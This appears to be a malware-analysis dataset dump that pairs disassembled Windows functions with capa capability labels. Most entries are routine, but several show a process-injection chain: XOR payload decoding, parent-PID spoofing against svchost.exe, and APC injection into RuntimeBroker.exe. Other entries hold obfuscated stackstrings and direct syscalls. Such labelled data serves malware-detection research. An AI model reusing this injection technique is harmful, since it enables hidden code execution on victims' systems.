joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800de580
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x1800de59c
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800de5f0
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800de715
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1800de715
test rax, rax
je 0x1800de715
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1800de715
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x1800de68a
lea rax, [0x1800de770]
jmp 0x1800de6e3
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1800de715
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800de703
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x1800de6b0
lea rax, [0x1800de740]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1800de72a
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x1800dfe80
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x1800dfe8b
xor eax, eax
ret
lea r11, [0x180108110]
not ecx
cmp r8d, 8
jb 0x1800dff61
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x1800dfeb0
test r8d, r8d
je 0x1800dff8d
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x1800dff70
not ecx
mov eax, ecx
ret
Function at 0x140001eb4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001efe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001efe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001efe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001efe
cmp dword [rcx + 0x84], 0xe
jbe 0x140001efe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001f00
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x170
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x140001053
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rsp + 0x40], 0x130
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1400010e8
lea rdx, [rsp + 0x6c]
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1400010e3
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x38], rax
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1400010b5
jmp 0x14000105b
mov qword [rsp + 0x30], 0
lea r8, [rsp + 0x30]
mov edx, 8
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400010d9
jmp 0x14000105b
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
jmp 0x1400010e8
jmp 0x14000105b
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x20], 0
jne 0x140001105
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [rsp + 0x20]
add rsp, 0x170
pop rdi
ret
Function at 0x140001120
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1a0
mov byte [rsp + 0x40], 0x39
mov byte [rsp + 0x41], 0x32
mov byte [rsp + 0x42], 0x33
mov byte [rsp + 0x43], 0x31
mov byte [rsp + 0x44], 0x34
mov byte [rsp + 0x45], 0x36
mov byte [rsp + 0x46], 0x39
mov byte [rsp + 0x47], 0x36
mov byte [rsp + 0x48], 0x32
mov byte [rsp + 0x49], 0x33
mov byte [rsp + 0x4a], 0x34
mov byte [rsp + 0x4b], 0x39
mov byte [rsp + 0x4c], 0x34
mov byte [rsp + 0x4d], 0x32
mov byte [rsp + 0x4e], 0x33
mov byte [rsp + 0x4f], 0x31
mov byte [rsp + 0x50], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + 0x48]
test eax, eax
je 0x1400012bf
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x104
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov rax, qword [rsp + 0x60]
mov r8, qword [rax + 0x60]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x68], 0xffffffffffffffff
inc qword [rsp + 0x68]
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
cmp byte [rax + rcx], 0
jne 0x14000122d
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x58], eax
lea rcx, [rsp + 0x90]
call fcn.1400013b0
lea rcx, [rsp + 0x40]
call fcn.140002720
mov eax, eax
mov ecx, dword [rsp + 0x58]
mov r9d, eax
lea r8, [rsp + 0x40]
mov edx, ecx
lea rcx, [rsp + 0x90]
call fcn.1400028f0
mov eax, dword [rsp + 0x58]
mov r8d, eax
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x90]
call fcn.1400024c0
test eax, eax
jne 0x1400012ad
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x30]
jmp 0x1400012c1
mov rax, qword [rsp + 0x60]
mov rax, qword [rax]
mov qword [rsp + 0x60], rax
jmp 0x1400011ac
xor eax, eax
add rsp, 0x1a0
pop rdi
ret
Function at 0x140001890
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
sub rsp, 0x48
mov byte [rsp + 0x28], 0x55
mov byte [rsp + 0x29], 0x5d
mov byte [rsp + 0x2a], 0x52
mov byte [rsp + 0x2b], 0x55
mov byte [rsp + 0x2c], 0x51
mov byte [rsp + 0x2d], 0x44
mov byte [rsp + 0x2e], 0x49
mov byte [rsp + 0x2f], 0x44
mov byte [rsp + 0x30], 0x5d
mov byte [rsp + 0x31], 0x59
mov byte [rsp + 0x32], 0x51
mov byte [rsp + 0x33], 0x5a
mov byte [rsp + 0x34], 0x40
mov byte [rsp + 0x35], 0x1c
mov byte [rsp + 0x36], 0x56
mov byte [rsp + 0x37], 0x49
mov byte [rsp + 0x38], 0x5c
lea rcx, [rsp + 0x28]
call fcn.140001120
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000190b
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
add rsp, 0x48
ret
Function at 0x140002040
Capabilities:
Get file system object information

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1d0
mov qword [rsp + 0x50], 0xffffffffffffffff
mov eax, 1
mov word [rsp + 0x30], ax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0x168
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 0x100
mov r9d, 0x168
lea r8, [rsp + 0x60]
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
lea rdx, [0x1400031c0]
mov ecx, 1
call qword [sym.imp.SHELL32.dll_SHGetImageList]
test eax, eax
jne 0x1400020e9
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
lea r9, [rsp + 0x48]
xor r8d, r8d
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x38]
call qword [rax + 0x50]
test eax, eax
jne 0x1400020e9
mov rax, qword [rsp + 0x48]
jmp 0x1400020eb
xor eax, eax
add rsp, 0x1d0
pop rdi
ret
Function at 0x140002100
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Inject apc
Spoof parent pid
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x120
mov byte [rsp + 0x50], 0x39
mov byte [rsp + 0x51], 0x32
mov byte [rsp + 0x52], 0x33
mov byte [rsp + 0x53], 0x31
mov byte [rsp + 0x54], 0x34
mov byte [rsp + 0x55], 0x36
mov byte [rsp + 0x56], 0x39
mov byte [rsp + 0x57], 0x36
mov byte [rsp + 0x58], 0x32
mov byte [rsp + 0x59], 0x33
mov byte [rsp + 0x5a], 0x34
mov byte [rsp + 0x5b], 0x39
mov byte [rsp + 0x5c], 0x34
mov byte [rsp + 0x5d], 0x32
mov byte [rsp + 0x5e], 0x33
mov byte [rsp + 0x5f], 0x31
mov byte [rsp + 0x60], 0
mov rcx, qword [rsp + 0x130]
call fcn.140002720
mov eax, eax
mov ecx, dword [0x140004200]
mov r9d, eax
mov r8, qword [rsp + 0x130]
mov edx, ecx
lea rcx, section..data
call fcn.1400028f0
mov dword [rsp + 0x80], 0
mov qword [rsp + 0xa8], 0
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x70
rep stosb byte [rdi], al
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x68], 0
lea rcx, str.svchost.exe
call fcn.140001000
mov dword [rsp + 0x68], eax
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x88], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x70]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x118], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0x88]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
lea rax, str.C:WINDOWS_system32_
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.C:WindowsSystem32RuntimeBroker.exe__Embedding
lea rcx, str.C:WindowsSystem32RuntimeBroker.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [0x140004200]
mov dword [rsp + 0x20], 0x20
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x78], rax
mov eax, dword [0x140004200]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, section..data
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001450
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
lea rdx, section..data
lea r8, str.pass5ord
mov rcx, rax
and ecx, 7
mov cl, byte [r8 + rcx]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0x1f1
jne 0x140001460
ret

Function at 0x140001780
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400025a0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400025a0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400017f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x140001920
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000183b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400018c5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001820
mov rcx, rbx
call fcn.140002240
mov rdi, rax
test rax, rax
je 0x140001942
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002380
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001927
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400018be
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400018d0
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001780
nop dword [rax]
xor esi, esi
jmp 0x140001848
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001780
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001780
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001eb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001f0c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001f03
test rsi, rsi
je 0x140001f03
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ee8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002240
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002260
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002268
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002260
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400022bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400022b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002260
add rax, 0x28
cmp rax, r9
jne 0x1400022a0
xor eax, eax
ret

Function at 0x1400022c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000239f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400023a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001000
Capabilities:
Terminate process

Disassembly:
test ecx, ecx
jne 0x1400010ca
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rbx
push rdi
sub rsp, 0x448
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov r9, rdx
mov edx, 0x400
lea rax, [r11 + 0x18]
lea rcx, [rsp + 0x30]
lea r8d, [rdx - 1]
xor edi, edi
mov qword [rsp + 0x20], rax
call fcn.140005ef4
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov rax, qword [0x140015e08]
test rax, rax
jne 0x14000109b
test rbx, rbx
je 0x1400010be
lea rdx, str.MessageBoxTimeoutA
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140015e08], rax
test rax, rax
jne 0x14000109b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400010be
lea r8, str.Fatal_Error_in_Launcher
lea rdx, [rsp + 0x30]
mov r9d, 0x10010
xor ecx, ecx
mov dword [rsp + 0x28], 0xbb8
mov word [rsp + 0x20], di
call rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
ret

Function at 0x140001008
Capabilities:
Terminate process

Disassembly:
test ecx, ecx
jne 0x1400010ca
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rbx
push rdi
sub rsp, 0x448
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov r9, rdx
mov edx, 0x400
lea rax, [r11 + 0x18]
lea rcx, [rsp + 0x30]
lea r8d, [rdx - 1]
xor edi, edi
mov qword [rsp + 0x20], rax
call fcn.140005ef4
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov rax, qword [0x140015e08]
test rax, rax
jne 0x14000109b
test rbx, rbx
je 0x1400010be
lea rdx, str.MessageBoxTimeoutA
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140015e08], rax
test rax, rax
jne 0x14000109b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400010be
lea r8, str.Fatal_Error_in_Launcher
lea rdx, [rsp + 0x30]
mov r9d, 0x10010
xor ecx, ecx
mov dword [rsp + 0x28], 0xbb8
mov word [rsp + 0x20], di
call rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
ret
Function at 0x140001134
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov r13, rcx
lea r8, [0x140010d80]
lea rdx, [0x1400153f0]
lea rcx, [rbp + 0x38]
xor r12d, r12d
mov qword [rbp + 0x38], r12
call fcn.140001d90
mov ecx, r12d
test eax, eax
lea rdx, str.Failed_to_open_executable
sete cl
call section..text
mov rcx, qword [rbp + 0x38]
lea r8d, [r12 + 2]
xor edx, edx
call fcn.140002ec0
mov rcx, qword [rbp + 0x38]
call fcn.140002db4
mov rcx, qword [rbp + 0x38]
movsxd r14, eax
lea edi, [r14 - 0x104]
test edi, edi
cmovs edi, r12d
xor r8d, r8d
mov edx, edi
call fcn.140002ec0
mov r9, qword [rbp + 0x38]
lea r15d, [r12 + 1]
mov esi, 0x104
mov edx, r15d
mov rcx, r13
mov r8d, esi
call fcn.140002ab4
mov rcx, r13
mov rdx, rax
call fcn.1400010cc
mov rbx, rax
test rax, rax
je 0x14000120d
lea rcx, [rbp - 0x20]
lea r8d, [r12 + 0x14]
mov rdx, rax
call fcn.140009020
movsxd rdi, edi
sub rdi, r13
add rdi, rbx
jmp 0x140001294
mov ebx, 0x4100000
mov ecx, ebx
call fcn.14000249c
mov rcx, qword [rbp + 0x38]
lea edi, [r14 - 0x4100000]
test edi, edi
mov rsi, rax
cmovs edi, r12d
xor r8d, r8d
mov edx, edi
call fcn.140002ec0
mov r9, qword [rbp + 0x38]
mov r8d, ebx
mov rdx, r15
mov rcx, rsi
call fcn.140002ab4
mov rcx, rsi
mov rdx, rax
call fcn.1400010cc
mov ecx, r12d
lea rdx, str.Unable_to_find_an_appended_archive.
test rax, rax
mov rbx, rax
setne cl
call section..text
lea rcx, [rbp - 0x20]
mov rdx, rbx
mov r8d, 0x14
call fcn.140009020
movsxd rdi, edi
mov rcx, rsi
sub rdi, rsi
add rdi, rbx
call fcn.1400021c4
mov esi, 0x104
mov eax, dword [rbp - 0x10]
mov rcx, qword [rbp + 0x38]
xor r8d, r8d
add eax, dword [rbp - 0x14]
sub rdi, rax
mov edx, edi
call fcn.140002ec0
mov r9, qword [rbp + 0x38]
mov r8, rsi
mov rdx, r15
mov rcx, r13
call fcn.140002ab4
mov ecx, r12d
lea rdx, str.Unable_to_read_from_file
test rax, rax
setne cl
call section..text
movzx eax, word [r13]
cmp ax, word [0x140010dec]
jne 0x1400012e5
mov r12, r13
jmp 0x14000134b
mov rcx, qword [rbp + 0x38]
lea edx, [rdi - 0x104]
test edx, edx
cmovs edx, r12d
xor r8d, r8d
call fcn.140002ec0
mov r9, qword [rbp + 0x38]
mov r8, rsi
mov rdx, r15
mov rcx, r13
call fcn.140002ab4
mov ecx, r12d
lea rdx, str.Unable_to_read_from_file
test rax, rax
mov rbx, rax
setne cl
call section..text
lea r11, [rbx + r13 - 1]
cmp r11, r13
jb 0x14000134b
movzx eax, word [0x140010dec]
cmp word [r11], ax
je 0x140001348
sub r11, r15
cmp r11, r13
jae 0x140001338
jmp 0x14000134b
mov r12, r11
mov rcx, qword [rbp + 0x38]
call fcn.1400031e4
lea r11, [rsp + 0x40]
mov rax, r12
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x180008580
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0x3f
syscall
ret

Function at 0x18000858b
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0x3a
syscall
ret
Function at 0x180012a60
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180012a90
xor eax, eax
jmp 0x180012b53
mov rbp, rbx
cmp word [rax], si
je 0x180012ab5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180012a9c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180012a98
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800129b0
movsxd r14, eax
test eax, eax
jne 0x180012af3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180012a89
